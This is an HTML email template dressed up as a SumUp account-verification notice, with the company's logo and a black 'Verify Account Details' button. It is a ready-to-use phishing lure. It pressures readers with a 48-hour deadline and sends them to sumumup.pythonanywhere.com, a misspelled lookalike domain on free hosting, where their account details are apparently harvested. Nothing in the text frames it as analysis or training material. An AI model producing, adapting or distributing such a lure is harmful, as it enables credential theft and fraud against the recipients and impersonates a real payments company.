<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SumUp - Account Verification</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
background-color: #f5f5f5;
color: #333;
line-height: 1.6;
padding: 2rem;
}
.container {
max-width: 600px;
margin: 0 auto;
background: white;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
padding: 3rem;
}
.logo-container {
margin-bottom: 2rem;
text-align: center;
}
.logo-container svg {
height: 40px;
width: auto;
}
.content {
color: #333;
}
.greeting {
font-size: 1.1rem;
margin-bottom: 1.5rem;
font-weight: 500;
}
.text {
margin-bottom: 1.5rem;
color: #555;
}
.text p {
margin-bottom: 1rem;
}
.button-container {
text-align: center;
margin: 2.5rem 0;
}
.verify-button {
display: inline-block;
background-color: #000000;
color: white;
padding: 0.875rem 2rem;
border-radius: 6px;
text-decoration: none;
font-weight: 600;
font-size: 1rem;
transition: background-color 0.3s;
border: none;
cursor: pointer;
}
.verify-button:hover {
background-color: #333333;
}
.footer {
margin-top: 2.5rem;
padding-top: 2rem;
border-top: 1px solid #e0e0e0;
color: #666;
font-size: 0.9rem;
}
.footer p {
margin-bottom: 0.5rem;
}
.signature {
margin-top: 1.5rem;
font-weight: 500;
}
@media (max-width: 600px) {
body {
padding: 1rem;
}
.container {
padding: 2rem 1.5rem;
}
.logo-container svg {
height: 35px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg viewBox="0 0 214 63" xmlns="http://www.w3.org/2000/svg" fill="#333">
<g fill-rule="evenodd">
<path d="M58.2.5H5.1C2.7.5.7 2.5.7 4.9v52.8c0 2.4 2 4.4 4.4 4.4h53.1c2.4 0 4.4-2 4.4-4.4V4.9c0-2.5-2-4.4-4.4-4.4zM39.5 46.8c-5.4 5.4-14 5.6-19.7.7l-.1-.1c-.3-.3-.4-.9 0-1.3L38.9 27c.4-.3.9-.3 1.3 0 5 5.8 4.8 14.4-.7 19.8zm4-30.5L24.3 35.4c-.4.3-.9.3-1.3 0-5-5.7-4.8-14.3.6-19.7 5.4-5.4 14-5.6 19.7-.7 0 0 .1 0 .1.1.5.3.5.9.1 1.2z" fill-rule="nonzero"></path>
<path d="M144.5 17.6h-.1c-2.4 0-4.5 1-6 2.5-1.5-1.5-3.7-2.5-6-2.5h-.1c-4.6 0-8.4 3.7-8.4 8.4v16.3c.1 1.3 1.1 2.3 2.4 2.3 1.3 0 2.3-1 2.4-2.3V26c0-2 1.6-3.6 3.6-3.6h.1c2 0 3.5 1.5 3.6 3.5v16.4c.121 1.182.953 2.3 2.3 2.3 1.3 0 2.3-1 2.4-2.3V25.8c.1-1.9 1.7-3.5 3.6-3.5h.1c2 0 3.6 1.6 3.6 3.6v16.4c.1 1.3 1.1 2.3 2.4 2.3 1.3 0 2.3-1 2.4-2.3V26c.1-4.6-3.7-8.4-8.3-8.4zm-28.4 0c-1.3 0-2.3 1-2.4 2.3v16.3c0 2-1.6 3.6-3.7 3.6h-.1c-2 0-3.7-1.6-3.7-3.6V19.8c-.1-1.3-1.1-2.3-2.4-2.3-1.3 0-2.3 1-2.4 2.3v16.3c0 4.6 3.8 8.4 8.5 8.4h.1c4.7 0 8.5-3.8 8.5-8.4V19.9c0-1.3-1.1-2.3-2.4-2.3zm56.8 0c-1.3 0-2.3 1-2.4 2.3v16.3c0 2-1.6 3.6-3.7 3.6h-.1c-2 0-3.7-1.6-3.7-3.6V19.8c-.1-1.3-1.1-2.3-2.4-2.3-1.3 0-2.3 1-2.4 2.3v16.3c0 4.6 3.8 8.4 8.5 8.4h.1c4.7 0 8.5-3.8 8.5-8.4V19.9c-.1-1.3-1.1-2.3-2.4-2.3z"></path>
<path d="M188.8 17.6h-.1c-4.8 0-8.6 3.8-8.6 8.5v29.6c0 1.3 1.1 2.4 2.4 2.4 1.3 0 2.4-1.1 2.4-2.4V43.4c.9.8 2.4 1.2 3.8 1.2h.1c4.8 0 8.4-4.1 8.4-8.8v-9.9c0-4.7-3.6-8.3-8.4-8.3zm3.8 18.4c0 2.6-1.7 3.7-3.7 3.7h-.1c-2.1 0-3.7-1.1-3.7-3.7v-9.9c0-2 1.7-3.7 3.7-3.7h.1c2.1 0 3.7 1.6 3.7 3.7V36z" fill-rule="nonzero"></path>
<path d="M89.6 28.3c-2.7-1.1-4.4-1.8-4.4-3.4 0-1.3 1-2.5 3.3-2.5 1.4 0 2.6.6 3.5 1.8.6.7 1.2 1.1 1.9 1.1 1.4 0 2.5-1.1 2.5-2.4 0-.5-.1-1-.4-1.3-1.5-2.3-4.6-3.9-7.5-3.9-4 0-8.1 2.5-8.1 7.3 0 4.9 4 6.5 7.3 7.7 2.6 1 4.9 1.9 4.9 4 0 1.6-1.5 3.2-4.3 3.2-.9 0-2.5-.2-3.6-1.5-.6-.7-1.3-1-1.9-1-1.3 0-2.5 1.1-2.5 2.4 0 .5.2 1 .5 1.4 1.5 2.3 4.9 3.4 7.5 3.4 4.4 0 9.2-2.8 9.2-7.9-.1-5.4-4.4-7.1-7.9-8.4z"></path>
<g fill-rule="nonzero">
<path d="M208.4 17.6c-2.6 0-4.8 2.1-4.8 4.8 0 2.6 2.1 4.8 4.8 4.8 2.6 0 4.8-2.1 4.8-4.8 0-2.6-2.1-4.8-4.8-4.8zm0 8.4c-2 0-3.6-1.6-3.6-3.6s1.6-3.6 3.6-3.6 3.6 1.6 3.6 3.6-1.6 3.6-3.6 3.6z"></path>
<path d="M208.9 22.6c.6-.1 1-.6 1-1.2 0-.8-.6-1.3-1.5-1.3h-1.2c-.3 0-.5.2-.5.5v3.3c0 .3.2.5.5.5s.5-.2.5-.5v-1.2l1.2 1.5c.1.2.2.2.5.2.4 0 .5-.3.5-.5s-.1-.3-.2-.4l-.8-.9zm-.4-.7h-.6v-1h.6c.3 0 .5.2.5.5 0 .2-.2.5-.5.5z"></path>
</g>
</g>
</svg>
</div>
<div class="content">
<div class="greeting">
Dear Valued Client,
</div>
<div class="text">
<p>As part of our ongoing security measures, we require you to verify your account details to ensure continued access to our services.</p>
<p>This verification helps us protect your account and prevent unauthorized activity. Please complete this process within 48 hours to avoid any temporary service interruption.</p>
<p>To proceed, click the Verify Account Details button below and follow the instructions provided.</p>
</div>
<div class="button-container">
<a href="https://sumumup.pythonanywhere.com/" class="verify-button">Verify Account Details</a>
</div>
<div class="text">
<p>If you have already completed this verification, please disregard this message.</p>
<p>Should you require any assistance, our support team is available to help.</p>
<p>Thank you for your cooperation and for helping us maintain a secure service environment.</p>
</div>
<div class="footer">
<p>Kind regards,</p>
<div class="signature">
<p><strong>SumUp</strong></p>
<p>Customer Support Team</p>
</div>
</div>
</div>
</div>
</body>
</html>